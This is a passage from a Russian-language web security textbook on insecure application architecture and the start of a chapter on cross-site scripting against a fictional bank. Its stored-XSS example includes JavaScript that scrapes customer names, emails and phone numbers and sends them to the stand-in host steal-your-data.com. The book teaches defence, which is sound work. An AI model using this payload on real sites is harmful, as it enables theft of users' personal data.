Признаки безопасной и небезопасной архитектуры
Единственная XSS-уязвимость может быть следствием плохо написанного
метода. Но множественные уязвимости, скорее всего, указывают на слабую
архитектуру приложения.
Представим себе два простых приложения для отправки личных сообщений
(текстов). Одно из них уязвимо для межсайтового скриптинга, а другое — нет.
Небезопасное приложение не отклонит сценарий при поступлении в конечную
точку API запроса на сохранение комментария. Не сделает этого и база данных,
которая не выполняет надлежащую фильтрацию и очистку строки, представляющей сообщение. В конечном итоге текст загружается в DOM и расценивается
как тестовое сообщение test messagealert('hacked');, в результате чего происходит выполнение сценария.
Безопасное приложение имеет один или несколько методов защиты. Но реализация их набора требует слишком много времени, а значит, ее легко упустить из
виду. Даже приложение, написанное инженерами с опытом в области защиты
приложений, в конечном итоге все равно будет иметь дыры в безопасности,
если в его основе лежит изначально небезопасная архитектура. Разработчики
хорошо защищенных приложений внедряют методы защиты и до, и после разработки функциональности, тогда как у недостаточно защищенных приложений
эти методы добавляются в процессе разработки, а у небезопасных приложений
могут и вовсе не добавляться.
Если за 5 лет разработчик должен написать 10 вариантов системы обмена мгновенными сообщениями (IM), скорее всего, реализации будут разными. При

Признаки безопасной и небезопасной архитектуры  137

этом риски, связанные с безопасностью, в основном окажутся одними и теми
же. Обе системы обмена мгновенными сообщениями содержат следующую
функциональность:
интерфейс для написания сообщения;
конечная точка API для получения отправленных сообщений;
таблица базы данных для хранения сообщений;
конечная точка API для получения одного или нескольких сообщений;
код пользовательского интерфейса для отображения одного или нескольких сообщений.
Вот вариант кода такого приложения:
client/write.html

Write a Message to TestUser

send message

client/send.js
const session = require('./session');
const messageUtils = require('./messageUtils');
/*
* Обходит DOM и получает содержимое сообщения и имя
* пользователя или другой идентификатор (id) его получателя.
*
* messgeUtils генерирует подтвержденный HTTP-запрос,
* отправляющий данные (message, user) к API на сервере.
*/
const send = function() {
const message = document.querySelector('#send').value;
const target = document.querySelector('#target').value;
messageUtils.sendMessageToServer(session.token, target, message);

};

server/postMessage.js
const saveMessage = require('./saveMessage');
/*
* Получаем данные от send.js на клиенте, проверяем права
* пользователя и, если проверка прошла успешно,
* сохраняем пришедшее сообщение в базу.
*

138  Глава 7. Поиск слабых мест в архитектуре приложения

* В случае успеха возвращаем код состояния 200.
*/
const postMessage = function(req, res) {
if (!req.body.token || !req.body.target || !req.body.message) {
return res.sendStatus(400);
}
saveMessage(req.body.token, req.body.target, req.body.message)
.then(() => {
return res.sendStatus(200);
})
.catch((err) => {
return res.sendStatus(400);
});
};

server/messageModel.js
const session = require('./session');
/*
* Этот код представляет объект message. Действует как шаблон,
* чтобы все объекты message имели одни и те же поля.
*/
const Message = function(params) {
user_from: session.getUser(params.token),
user_to: params.target,
message: params.message
};
module.exports = Message;

server/getMessage.js
const session = require('./session');
/*
* Запрашиваем сообщение с сервера, проверяем разрешения
* и при их наличии извлекаем сообщение из базы и возвращаем
* пользователю, запросившему его через своей клиент.
*/
const getMessage = function(req, res) {
if (!req.body.token) { return res.sendStatus(401); }
if (!req.body.messageId) { return res.sendStatus(400); }
session.requestMessage(req.body.token, req.body.messageId)
.then((msg) => {
return res.send(msg);
})
.catch((err) => {
return res.sendStatus(400);
});
};

Признаки безопасной и небезопасной архитектуры  139

client/displayMessage.html

Displaying Message from

client/displayMessage.js
const session = require('./session');
const messageUtils = require('./messageUtils');
/*
* Метод util запрашивает сообщение через метод GET и
* присоединяет его к элементу #message, а данные автора —
* к элементу #message-author.
*
* Если HTTP-запрос не может получить сообщение, в консоль
* выводится сообщение об ошибке.
*/
const displayMessage = function(msgId) {
messageUtils.getMessageById(session.token, msgId)
.then((msg) => {
messageUtils.appendToDOM('#message', msg);
messageUtils.appendToDOM('#message-author', msg.author);
})
.catch(() => console.log('an error occured'););
};

Многие методы защиты можно и по большому счету нужно сделать неотъемлемой частью архитектуры приложения, а не реализовывать на индивидуальной
основе.
Возьмем, к примеру, внедрение кода в DOM. Простой метод, встроенный
в пользовательский интерфейс, может практически полностью устранить
риск XSS:
import { DOMPurify } from '../utils/DOMPurify';
// использует: https://github.com/cure53/DOMPurify
const appendToDOM = function(data, selector, unsafe = false) {
const element = document.querySelector(selector);
// когда есть риск внедрения в DOM (не по умолчанию)
if (unsafe) {
element.innerHTML = DOMPurify.sanitize(data);
} else { // стандартные случаи (по умолчанию)
element.innerText = data;
}

};

140  Глава 7. Поиск слабых мест в архитектуре приложения

Достаточно построить приложение на базе подобной функции, и риск появления
XSS-уязвимостей в вашей кодовой базе уменьшится.
Но важно, каким образом реализованы такие методы. Обратите внимание, что
в примере флаг внедрения DOM специально помечен как небезопасный. Он
не только отключен по умолчанию, но и фигурирует в сигнатуре функции последним, что уменьшает вероятность его случайного изменения.
Наличие таких механизмов, как метод appendToDOM, говорит о защищенной
архитектуре приложения. Приложения, в которых отсутствуют эти механизмы
безопасности, с большей вероятностью будут иметь уязвимости. Соответственно,
как для поиска уязвимостей, так и для определения приоритетов в улучшении
кодовой базы важно видеть, насколько безопасна архитектура приложения.

Уровни безопасности
Рассматривая архитектуру службы обмена сообщениями, мы выделили несколько уровней, на которых может возникнуть риск межсайтового скриптинга. Это:
запрос POST к API;
запись в базу данных;
чтение из базы данных;
запрос GET к API;
чтение клиентов.
Аналогично обстоят дела с уязвимостями других типов, таких как XXE или
CSRF. Недостаточные механизмы защиты приводят к тому, что любая уязвимость может возникать более чем на одном уровне.
Представим, что гипотетическое приложение для обмена мгновенными сообщениями добавило механизмы защиты на уровень запросов POST к API. Очистка
получаемых от пользователей сообщений сделает невозможным внедрение
стороннего кода.
Но позднее может быть разработан и внедрен другой метод отправки сообщений. И появится новая конечная точка API, принимающая сообщения списком
для их массовой рассылки. И если не снабдить ее таким же мощным защитным
механизмом, как предыдущую, злоумышленники смогут загружать сообщения,
содержащие сценарии, в базу данных, минуя изначально запланированный разработчиками путь.

Уровни безопасности  141

Этот простой пример демонстрирует, что степень защиты приложения определяется надежностью самого слабого звена в его архитектуре. Если бы разработчики
добавили механизмы защиты одновременно на уровень запросов POST к API
и на уровень записи в БД, новой атаке можно было бы противостоять.
Иногда на разные уровни добавляются различные механизмы защиты от атак
определенного типа. Например, на уровне запросов POST к API может вызваться
браузер без графического интерфейса, имитирующий отображение сообщения
на странице и отклоняющий передаваемые данные, если в них окажется выполняемый сценарий. Подобную защиту невозможно реализовать на уровне
БД или клиента.
Далеко не все защитные механизмы обнаруживают вредоносное содержимое.
Браузер без графического интерфейса способен засечь выполнение сценария,
но если в связанном с браузером API есть ошибка, сценарий может обойти этот
механизм защиты. Например, вредоносный код будет выполняться не в браузере без графического интерфейса, а в уязвимой версии браузера пользователя
(который отличается от браузера или версии, тестируемых на сервере).
Словом, лучше всего защищены веб-приложения, имеющие механизмы безопасности сразу на многих уровнях. Соответственно, при тестировании вебприложений нужно искать функциональность, которая снабжена малым количеством механизмов защиты или реализуется на множестве уровней. В последнем
случае есть вероятность найти слабо или вообще не защищенные уровни. Если
при поиске уязвимостей вы сможете выделить функциональность, соответствующую этим критериям, на нее нужно обратить особое внимание, потому что
с высокой вероятностью она будет атакована.

Заимствование и перекрой
Фактором риска становится и желание разработчиков заново «изобрести»
существующие технологии. Как правило, это уже проблема не архитектуры,
а организации, которая становится заметна в архитектуре.
Такой подход практикуется множеством компаний, поскольку переделывание
инструментов или функциональности дает такие преимущества, как:
возможность избежать сложного лицензирования;
возможность добавить дополнительный функционал;
возможность привлечь внимание пользователей через рекламу нового
инструмента или функции.

142  Глава 7. Поиск слабых мест в архитектуре приложения

Кроме того, создавать функциональность с нуля обычно гораздо интереснее
и сложнее, чем переделывать существующий бесплатный или платный инструмент. «Изобретать велосипед» не всегда плохо, поэтому каждый случай нужно
рассматривать индивидуально.
Существуют ситуации, в которых перекрой существующего софта дает больше
преимуществ, чем проблем. Например, иногда прекрасные инструменты снабжаются лицензионным соглашением, по которому приходится платить большую
комиссию, или запрещаются изменения, что не позволяет добавить необходимые
приложению функции.
Но с точки зрения безопасности повторное изобретение — не самая лучшая
тактика. Разумеется, степень риска зависит от того, какая функциональность
разрабатывается с нуля, и может быть как умеренной, так и чрезмерной.
В частности, опытные инженеры по безопасности советуют никогда не использовать собственную криптографию. Талантливые инженеры-программисты
и математики могут разработать собственные алгоритмы хеширования взамен
открытых, но какой ценой?
Например, алгоритм хеширования SHA-3 с открытым исходным кодом разрабатывался почти 20 лет и прошел надежное тестирование в Национальном институте стандартов и технологий (National Institute of Standards and Technology,
NIST) при участии крупнейших американских охранных фирм.
Сгенерированные алгоритмами хеши регулярно атакуются множеством способов (например, атака перебором всех комбинаций в словаре, перебор с использованием марковских фильтров и т. п.). Поэтому собственноручно написанный
алгоритм хеширования должен обладать той же надежностью, что и лучшие
открытые алгоритмы.
Внедрение алгоритма с таким же уровнем тестирования, как SHA-3, обойдется организации в десятки миллионов долларов. При этом проект OpenJDK
бесплатно предоставляет реализацию SHA-3, протестированную NIST и сообществом.
Вряд ли одиночка, решивший развернуть собственный алгоритм хеширования,
сможет соответствовать таким же стандартам и провести надежное тестирование. В результате важные данные компании станут легкой мишенью для
хакеров.
Как определить, какие функции или инструменты имеет смысл использовать,
а какие лучше изобрести заново? В общем случае для приложения с надежной
архитектурой с нуля создаются исключительно функциональные возможности:
например, схема хранения комментариев или система уведомлений.

Заимствование и перекрой  143

Разработчикам веб-приложений не стоит самостоятельно писать функции,
требующие глубоких знаний математики, операционных систем или аппаратного обеспечения. То есть не имеет смысла браться за базы данных, изоляцию
процессов и большую часть управления памятью.
Невозможно быть экспертом во всех областях. Хорошие разработчики вебприложений это понимают и фокусируются на решении задач в своей сфере, прибегая к сторонней помощи в смежных. Хотя плохие разработчики, пытающиеся
заново изобретать критически важную функциональность, тоже не редкость!
Приложения, напичканные самостоятельно написанными базами данных,
самодельной криптографией и оптимизацией на аппаратном уровне, зачастую
взламываются легче всего. Бывают редкие исключения из этого правила, но это
именно исключения, а не норма.

Итоги
Говоря об уязвимостях в веб-приложениях, обычно подразумевают проблемы на
уровне кода или возникающие из-за неправильно написанного кода. Но ошибки
могут возникать уже на этапе проектирования архитектуры приложения. Количество дыр в безопасности зависит от того, как спроектированы и распределены
по кодовой базе средства защиты.
Соответственно, умение выявлять слабые места в архитектуре приложения
крайне важно на этапе предварительного сбора данных. При поиске уязвимостей
внимание в первую очередь следует сосредоточить на плохо спроектированной
функциональности. Функциональность, снабженная хорошими защитными механизмами, остается более устойчивой к попыткам обхода систем фильтрации.
Архитектура приложения часто обсуждается на очень высоком уровне, хотя
большая часть работы по обеспечению безопасности совершается на низком.
И человеку, который не привык рассматривать приложения с точки зрения
проектного решения, может быть непросто разобраться в теме.
Тем не менее на стадии предварительного сбора данных с целью составления
карты приложения обязательно нужно учитывать общую архитектуру его системы безопасности. Анализ архитектуры не только покажет направление поиска
уязвимостей, но сможет помочь в выявлении слабых мест будущей функциональности. Их можно увидеть, если знать, какие вещи становились причиной
ошибок в прошлом.

ГЛАВА 8

Итоги части I

Теперь вы должны уже хорошо понимать цели предварительного сбора информации о веб-приложениях и иметь в арсенале несколько методов разведки. Эти
методы постоянно совершенствуются, и определить, какой из них дает наилучшие
результаты, порой довольно сложно. Поэтому всегда следует искать новые и интересные инструменты, особенно работающие быстро и автоматически, чтобы
не тратить драгоценное время на одни и те же операции, выполняемые вручную.
Время от времени привычные методы устаревают, и им приходится искать
замену. Например, улучшается защита серверного ПО и принимаются меры,
предотвращающие утечку данных о программе и номере ее версии.
Базовые навыки разведки вряд ли когда-нибудь полностью устареют, но вы то
и дело будете сталкиваться с новыми технологиями. И чтобы их можно было
добавлять в карту приложения, понадобятся методы их распознавания. Я уже
подчеркивал важность записи и систематизации результатов предварительного
сбора данных. Но сведения о методах разведки тоже имеет смысл документировать. Со временем в ваш инструментарий войдет множество уникальных
технологий, фреймворков, версий и методологий.
Исчерпывающее описание методов разведки упростит их будущую автоматизацию и пригодится как учебный материал, если вы когда-нибудь окажетесь
в роли наставника. Слишком часто мощные разведывательные методы считаются
«секретными знаниями». Если вы разрабатываете новые эффективные методы
разведки, рассмотрите возможность поделиться ими с сообществом специалистов по компьютерной безопасности. Это не только поможет пентестерам, но
и может привести к прогрессу в области безопасности приложений.
В конечном счете выбор способа накопления, записи и распространения этих
методов зависит от вас. Я надеюсь, что основы, изложенные в этой книге, станут
краеугольным камнем в вашем арсенале средств разведки и хорошо послужат
в ваших будущих начинаниях.

Итоги части I  145

ЧАСТЬ II

Нападение

В первой части мы познакомились со способами исследования и документирования структуры и функций веб-приложения, оценили способы поиска APIинтерфейсов на сервере не только в домене верхнего уровня, но и в субдоменах,
а также рассмотрели методы перечисления конечных точек, предоставляемых
этими API, и принимаемые ими HTTP-команды.
После построения карты субдоменов, API-интерфейсов и HTTP-команд мы
поговорили о том, как определить, какой тип запросов принимается конечной
точкой и какой ответ она дает. К решению этой задачи мы подошли в общих
чертах, а также рассмотрели методы поиска открытых спецификаций, позволяющих быстрее понять структуру полезной нагрузки.
Затем мы поговорили о сторонних зависимостях и оценили различные способы
их обнаружения. Я показал, как распознавать SPA-фреймворки, базы данных
и веб-серверы и как общими методами (например, снятием отпечатков) определять версии зависимостей.
Разговор о предварительном сборе данных завершился обсуждением недостатков архитектуры, которые становятся причиной плохо защищенной функциональности. На примере распространенных вариантов небезопасной архитектуры
вы получили представление об уязвимостях, присутствующих в наспех разработанных веб-приложениях.
Теперь пришла пора познакомиться с распространенными техниками взлома
современных веб-приложений. Материал первой части поможет понять область
применимости этих техник.
Дело в том, что мощные, а иногда даже простые в применении варианты атак,
которые мы рассмотрим ниже, применимы далеко не ко всем конечным точкам

146  Часть II. Нападение

API, не к любой форме HTML и не к любой веб-ссылке. Приемы разведки, с которыми вы познакомились в части I, помогут при поиске способов эксплуатации
уязвимостей в реальных веб-приложениях.
В этой части мы поговорим об атаках, которые возможны из-за плохо защищенных конечных точек API, небезопасных веб-форм в пользовательском интерфейсе, плохо продуманных стандартов браузера, неправильно настроенных
серверных парсеров и многого другого.
Применяя концепции из части I, мы можем найти конечные точки API и определить, есть ли в них уязвимость. Мы также можем посмотреть, насколько
корректен код на стороне клиента (браузера) и насколько защищен процесс
управления структурой документа. Отпечатки фреймворков на стороне клиента могут показать слабые места в пользовательском интерфейсе приложения.
Ведь клиентский код хранится локально, и его легко оценить. Как видите, все
описываемые методы строятся один поверх другого.
Следующие несколько глав посвящены методам эксплуатации уязвимостей
веб-приложений. В процессе их изучения попытайтесь самостоятельно понять,
каким образом методы разведки помогают искать слабые места, к которым
можно применить техники нападения.

ГЛАВА 9

Введение во взлом
веб-приложений

Пришло время показать, каким образом можно воспользоваться уязвимостями,
обнаруживаемыми с помощью техник, описанных в предыдущей части. Сейчас
вы узнаете, как стать хакером.
Все варианты атак снова будут рассматриваться на примере гипотетического
веб-приложения mega-bank.com. Я покажу вам множество распространенных
техник, которые применялись для взлома многих современных веб-приложений.
Навыки, приобретенные в этой части книги, как и в предыдущей, легко применимы и для других целей.
В результате вы будете уметь не только проводить разведку для последующего
поиска уязвимостей в приложениях, но и эксплуатировать их.

Мышление хакера
Чтобы стать успешным хакером, требуется нечто большее, чем набор объективно
измеряемых навыков и знаний. Это требует особого мышления.
Инженеры-программисты измеряют продуктивность своей работы в добавленной функциональности или в улучшении существующей кодовой базы. Можно
утверждать, что день прошел не зря, если были добавлены функции x и y или
производительность функций a и b увеличена на 10%. Словом, хотя количественное измерение работы инженера-программиста — не самое простое дело,
оценить ее продуктивность все же можно.

148  Глава 9. Введение во взлом веб-приложений

Производительность хакера оценить куда сложнее. Ведь процесс взлома в основном сводится к сбору и анализу данных. Велик процент ложных срабатываний,
так что со стороны может показаться, что время потрачено впустую.
Большинство хакеров не декомпилируют и не модифицируют софт: они работают с существующими точками входа в кодовую базу, не создавая новые. Многие
методы анализа приложений для поиска точек входа похожи на те, которые были
описаны в первой части книги.
Любой код полон ошибок, которые в перспективе можно эксплойтить. Хороший
хакер постоянно ищет вещи, которые помогут обнаружить уязвимость.
К сожалению, иногда такой поиск подолгу не приносит плодов. Иногда на анализ
веб-приложения тратятся недели, если не месяцы, прежде чем обнаруживается
подходящая точка входа и появляется возможность разработать и внедрить
эксплойт.
Все попытки нужно тщательно документировать и записывать извлеченные
из них уроки. Внимание к деталям при ведении такого журнала поможет при
переходе от небольших приложений к более крупным, у которых более важные
данные и функциональность.
Как я показал в разделе, посвященном истории безопасности ПО, хакерам приходится постоянно улучшать свои навыки, иначе они будут побеждены теми,
кто им противостоит. Нужно постоянно учиться, поскольку привычные методы
постепенно устаревают и становятся бесполезными.
Хакер — это прежде всего детектив. Хороший хакер — это детектив с прекрасными техническими знаниями и навыками. Он постоянно изучает и адаптирует
свои техники и инструменты, поскольку те, кто пытается противодействовать
атакам, делает то же самое.

Применение данных, полученных
в процессе разведки
В части I мы учились исследовать веб-приложения, попутно знакомясь с различными аспектами их структуры и основными технологиями. Пришло время
научиться эксплуатировать дыры в безопасности этих приложений. Совсем
скоро вы поймете, почему так важен материал из части I.
Вы уже умеете определять тип API, который приложение использует для обработки клиентских данных (в наших примерах это был браузер). В большинстве

Применение данных, полученных в процессе разведки  149

случаев речь идет о REST API. Примеры в следующих главах в основном связаны с отправкой полезных данных через такие API. Поэтому так важно уметь
определять тип API приложения, которое вы пытаетесь взломать.
Вы уже умеете находить незарегистрированные конечные точки API с помощью
комбинации открытых данных и сетевых сценариев. В этой главе мы рассмотрим
средства эксплуатации уязвимостей, которые можно применить к различным
веб-приложениям. В первой части вы узнали, что для разных приложений одного владельца имеет смысл пробовать один и тот же метод взлома. Есть вероятность, что из-за повторного использования кода работающий против одного
веб-приложения эксплойт сработает и для связанных с ним веб-приложений.
Пригодится вам и умение обнаруживать конечные точки, поскольку бывают
ситуации, когда разные конечные точки API принимают одинаково структурированные запросы. И если атака по адресу /users/1234/friends ничего не даст,
то конфиденциальные данные может раскрыть атака по адресу /users/1234/
settings.
Важно и умение определять схему аутентификации веб-приложения. Большинство современных веб-приложений предлагает аутентифицированным пользователям расширенный набор функций. Это означает, что токен аутентификации
расширяет количество API-интерфейсов, которые вы можете атаковать. Увеличатся и привилегии для процессов, запущенных в результате ваших запросов.
В первой части я также показал, как искать сторонние зависимости (часто OSS)
приложения. Ниже я научу вас искать открыто описанные варианты эксплуатации уязвимостей сторонних зависимостей и настраивать их под свои надобности. Иногда таким способом можно даже обнаружить дыру в безопасности,
возникшую при интеграции в приложение стороннего кода.
Здесь пригодится умение анализировать архитектуру приложения, поскольку
порой возникают ситуации, когда приложение A невозможно взломать, в то
время как это можно сделать с приложением Б. Если у нас нет способа развернуть эксплойт непосредственно в приложении Б, можно изучить, каким
образом взаимодействуют приложения A и Б, и попытаться передать эксплойт
в приложение Б через A.
В заключение я еще раз хочу отметить, что приемы разведки из предыдущих глав
и приемы взлома, о которых мы поговорим ниже, идут рука об руку. Взлом и разведка сложны и интересны сами по себе, но вместе они гораздо более полезны.

ГЛАВА 10

Межсайтовый скриптинг (XSS)

Одной из наиболее распространенных является XSS-уязвимость, появившаяся
в результате увеличения количества действий, доступных пользователям в современных веб-приложениях.
По сути, межсайтовый скриптинг возможен потому, что веб-приложения выполняют сценарии в браузерах пользователей. Любой тип динамически создаваемого сценария подвергает веб-приложение риску, ведь он может быть заражен
или каким-либо образом изменен, в частности, конечным пользователем.
Вот основные три вида XSS-атаки:
хранимые (код хранится в базе данных);
отраженные (код исполняется серверными сценариями и не хранится
в базе данных);
через DOM (код сохраняется и выполняется в браузере).
Существуют и другие вариации, но именно эти три вида XSS-атак необходимо
регулярно отслеживать большинству современных веб-приложений, потому что
такие сообщества, как Open Web Application Security Project (OWASP), считают
их наиболее распространенными векторами.
Для начала рассмотрим пример поиска ошибки, которая делает допустимой
такую атаку.

Обнаружение XSS-уязвимости
Предположим, вы недовольны уровнем сервиса mega-bank.com. К счастью, у этой
компании есть портал support.megabank.com, где можно написать отзыв и получить ответ от службы поддержки. Вы пишете следующий комментарий:

Обнаружение XSS-уязвимости  151

Я недоволен обслуживанием в вашем банке.
Я ждал отображения депозита в веб-приложении 12 часов.
Пожалуйста, улучшите веб-приложение.
В других банках депозиты отображаются мгновенно.
— Недовольный клиент, support.mega-bank.com
Теперь, чтобы подчеркнуть степень своего недовольства, вы решаете выделить
несколько слов жирным шрифтом. К сожалению, пользовательский интерфейс
для отправки запросов в службу поддержки не содержит такой функции. Но вы
как человек, разбирающийся в современных технологиях, пытаетесь сделать это
с помощью HTML-тегов:
Я недоволен обслуживанием в вашем банке.
Я ждал отображения депозита в веб-приложении 12 часов.
Пожалуйста, улучшите веб-приложение.
В других банках депозиты отображаются мгновенно.
— Недовольный клиент, support.mega-bank.com
После нажатия клавиши Enter вы увидите свой запрос, в котором текст, находящийся внутри тегов , будет выделен жирным шрифтом.
Скоро вы получите ответ представителя службы поддержки:
Привет, я Сэм из службы поддержки MegaBank.
Мне очень жаль, что вы недовольны нашим приложением.
В следующем месяце четвертого числа у нас запланировано обновление, которое должно увеличить скорость отображения депозитов в нашем приложении.
Кстати, как вам удалость выделить текст жирным шрифтом?
— Сэм из службы поддержки, support.mega-bank.com
Это достаточно распространенная ситуация. Небольшая ошибка в архитектуре,
которая может стать причиной больших неприятностей, если первым ее обнаружит хакер.
пользователь отправляет комментарий через веб-форму ->
комментарий пользователя сохраняется в базу данных ->
комментарий запрашивается через HTTP другим пользователем ->
комментарий внедряется в страницу ->
внедренный комментарий интерпретируется не как текст, а как DOM

Обычно так бывает, когда разработчик применяет результат HTTP-запроса
к DOM. Часто это делается с помощью следующего сценария:

152  Глава 10. Межсайтовый скриптинг (XSS)

/*
* Создается узел DOM типа 'div.
* Добавленная к нему строка интерпретируется как фрагмент DOM.
*/
const comment = 'my comment';
const div = document.createElement('div');
div.innerHTML = comment;
/*
* Добавляем div к DOM с innerHTML DOM из комментария (comment).
* Теперь при загрузке комментарий анализируется и преобразуется
* как элемент DOM.
*/
const wrapper = document.querySelector('#commentArea');
wrapper.appendChild(div);

Поскольку текст фактически добавляется к DOM, он начинает интерпретироваться как разметка. В нашем примере запрос в службу поддержки включал
в себя тег . Это вполне невинная ситуация, но таким способом
можно нанести и большой ущерб. Чаще всего XSS-уязвимости эксплуатируются
с помощью тегов , хотя есть и множество других способов.
Представьте, что в комментарий для службы поддержки вы добавили не просто
тег выделения текста жирным шрифтом, а вот такой код:
Я недоволен обслуживанием в вашем банке.
Я ждал отображения депозита в веб-приложении 12 часов.
Пожалуйста, улучшите веб-приложение.
В других банках депозиты отображаются мгновенно.

/*
* Получаем со страницы список всех клиентов.
*/
const customers = document.querySelectorAll('.openCases');
/*
* Просматриваем все элементы DOM, содержащие класс openCases,
* сохраняя все идентификаторы привилегированных пользователей
* в массив customerData.
*/
const customerData = [];
customers.forEach((customer) => {
customerData.push({
firstName: customer.querySelector('.firstName').innerText,
lastName: customer.querySelector('.lastName').innerText,
email: customer.querySelector('.email').innerText,
phone: customer.querySelector('.phone').innerText

Обнаружение XSS-уязвимости  153

});
});
/*
* Создаем новый HTTP-запрос и выводим собранные ранее
* данные на собственные серверы.
*/
const http = new XMLHttpRequest();
http.open('POST', 'https://steal-your-data.com/data', true);
http.setRequestHeader('Content-type', 'application/json');
http.send(JSON.stringify(customerData);

— Недовольный клиент, support.mega-bank.com
Этот код демонстрирует пример чрезвычайно опасного хранимого XSS. В этом
случае вредоносный код хранится в базах данных владельца приложения. Соответственно, отправленный нами в службу поддержки комментарий был сохранен
на серверах MegaBank.
При попадания тега сценария в DOM интерпретатор JavaScript браузера запускает код, выделенный тегами . То есть для запуска вредоносного кода не требуются какие-либо действия со стороны представителя
службы поддержки.
Я показал пример достаточно простого кода. Для его написания не нужно быть
опытным хакером. Мы просматриваем элементы документа методом document.
querySelector () и крадем данные, доступ к которым есть только у представителей службы поддержки клиентов или сотрудников компании MegaBank. Эти
обнаруженные в пользовательском интерфейсе данные мы конвертируем в формат
JSON для удобства чтения и хранения и отправляем на собственные серверы, где
они будут храниться для дальнейшего использования, например для продажи.
Самое страшное в этом то, что код внутри тегов не показывается представителям клиентской службы поддержки. Они видят только текст
запроса, в то время как внедренный сценарий выполняется в фоновом режиме.
Ведь браузер интерпретирует такой запрос как текст, в который разработчик
встроил какой-то сценарий.
Интереснее всего тут то, что, открыв присланный комментарий, представитель
службы поддержки запустит вредоносный сценарий в своем браузере. Ведь
сценарий хранится в базе данных — соответственно, атакован будет любой, кто
сделает запрос на отображение комментария в пользовательском интерфейсе.
Это классический пример сохраненной XSS-атаки, которая становится возможной, если в веб-приложении не приняты надлежащие меры безопасности.

154  Глава 10. Межсайтовый скриптинг (XSS)

­ астолько прямым и демонстративным атакам легко противостоять (и вы увиН
дите это в части III); тем не менее это надежный вход в мир XSS.
Итак, что мы узнали про межсайтовый скриптинг:
Это запуск в браузере сценария, который написан не владельцем вебприложения.
Сценарий можно запустить в фоновом режиме; для этого не требуется
его отображения или какого-либо пользовательского ввода.
Можно извлекать из веб-приложения данные любого типа.
Можно свободно отправлять данные на свой сервер и получать их оттуда.
Он возникает в результате неправильной обработки пользовательского
ввода, встроенного в пользовательский интерфейс.
Позволяет воровать сеансовые токены, что дает возможность захватить
учетную запись.
Позволяет отображать объекты DOM поверх пользовательского интерфейса, что приводит к фишинговым атакам, которые не в состоянии распознать обычный пользователь.
Надеюсь, вы получили представление о силе и опасности XSS-атак.

Хранимый XSS
Хранимые XSS-атаки (рис. 10.1) являются наиболее распространенным типом.
С одной стороны, их проще всего обнаружить, но при этом они одни из самых
опасных, потому что могут затронуть множество пользователей.
Объект, сохраненный в базе данных, могут просматривать многие. При заражении глобального объекта мишенью XSS-атаки могут стать все пользователи.
Например, видео на главной странице сайта видеохостинга, в названии которого был сохранен XSS-код, потенциально может повлиять на каждого, кто
его смотрит. Так что хранимый XSS может принести организации большие
убытки.
С другой стороны, обнаружить сохраненный вредоносный сценарий достаточно просто. Хотя выполняется он на стороне клиента (в браузере), но хранится
в базе данных, то есть на стороне сервера. Так как эти сценарии хранятся в виде
текста, они не анализируются (за исключением, возможно, случаев, когда речь

Хранимый XSS  155

Пользователь 1
отправляет форму

API получает данные
от пользователя 1

Данные сохраняются в базе

Пользователь 2 запрашивает
просмотр данных
пользователя 1

API извлекает данные из базы
и отправляет их на клиент
пользователя 2
Данные внедряются в DOM
браузера для последующего чтения

На устройстве пользователя 2
внедренный сценарий
запускается на выполнение

Рис. 10.1. Хранимый XSS — загруженный пользователем вредоносный сценарий, который
сохраняется в базе данных, а затем при запросе и просмотре содержащих его данных другими
пользователями выполняется на их устройствах
идет о серверах Node.js — здесь они классифицируются как RCE-уязвимость,
о которой мы поговорим позже).
Дешевый и эффективный способ снижения рисков — регулярное сканирование
записей БД в поисках признаков хранимых сценариев. Фактически это один из
многих методов, применяемых наиболее ориентированными на безопасность
компаниями-разработчиками ПО. К сожалению, полностью это проблему не
решает, потому что внедряемый сценарий далеко не всегда выглядит как обычный текст (он может быть написан, например, в base64, в виде двоичного кода
и т. п.). Кроме того, фрагменты сценария могут храниться в разных местах и представлять опасность только при объединении с определенной службой внутри

156  Глава 10. Межсайтовый скриптинг (XSS)

клиента. К этим приемам прибегают опытные хакеры для обхода механизмов
защиты, реализованных разработчиками.
Мы рассмотрели пример хранимого XSS, в котором сценарий внедряется непосредственно в DOM и выполняется интерпретатором JavaScript. Это наиболее
распространенный подход к реализации XSS, которому наиболее успешно
противодействуют инженеры по безопасности и озабоченные защитой своих
приложений разработчики.
Для противодействия такой атаке достаточно простого регулярного выражения,
запрещающего теги script, или политики защиты содержимого (CSP).
Единственное требование, которому должна удовлетворять XSS-атака, чтобы
классифицироваться как «хранимый XSS» — хранение вредоносного кода в базе
данных приложения. Код может быть написан не только на JavaScript, а в качестве
клиента вовсе не обязан выступать исключительно браузер. Как я уже упоминал,
существует множество альтернатив тегам script, позволяющих скомпрометировать
данные или запустить сценарий.
Более того, множество клиентов запрашивают данные через веб-сервер, на котором может храниться XSS. Просто браузер — это самая распространенная цель.

Отраженный XSS
В большинстве учебников и образовательных программ рассказ о межсайтовом
скриптинге начинают с отраженного XSS. Но я считаю, что новоиспеченному
хакеру будет намного сложнее найти возможность для такой атаки, а тем более
реализовать ее.
С точки зрения разработчика хранимый XSS очень прост для понимания. Клиент
отправляет вредоносный код на сервер, обычно через HTTP. Сервер обновляет
базу данных, и доступ к этому коду появляется у других пользователей, в результате чего он будет выполнен в их браузерах.
С другой стороны, отраженный XSS отличается от сохраненного только тем,
что вредоносный код исполняется напрямую в браузере без ретрансляции через
сервер (рис. 10.2).
Продемонстрирую принцип действия отраженного XSS на примере уже знакомого вымышленного банка с веб-приложением, расположенным по адресу
mega-bank.com. Попытаемся узнать, как открыть новый сберегательный счет
в дополнение к текущему. На портале support.mega-bank.com для этой цели есть
строка поиска.

Отраженный XSS  157

Пользователь 1 создает
вредоносную ссылку, в URL-адрес
которой входит сценарий

Пользователь 1 размещает ее
в Сети и ждет, пока по ней
пройдет пользователь 2

Пользователь 2 переходит
по ссылке

URL-адрес отражается в DOM
браузера, что приводит
к выполнению сценария

Рис. 10.2. В случае отраженного XSS пользователь выполняет локальное действие
в веб-приложении, и это запускает на устройстве вредоносный сценарий
Первым делом попробуем сделать запрос open savings account («открыть сберегательный счет»). Нас перебросят на URL-адрес support.mega-bank.com/search?
query=open+savings+account, где мы увидим заголовок: 3 результата для запроса
open savings account.
Изменим URL-адрес на support.mega-bank.com/search?query=open+checking+acco
unt. Теперь заголовок сообщит нам, что для запроса open checking account («открыть текущий счет») найдено 4 результата.
Из этого можно сделать вывод, что существует взаимосвязь между параметрами
запроса URL и содержанием заголовка.
Напомню, что в случае с хранимым XSS мы обнаружили уязвимость в форме для запросов в службу поддержки, включив в текст комментария теги
. Давайте попробуем добавить их к поисковому запросу:
support.mega-bank.com/search?query=open+checking+account.
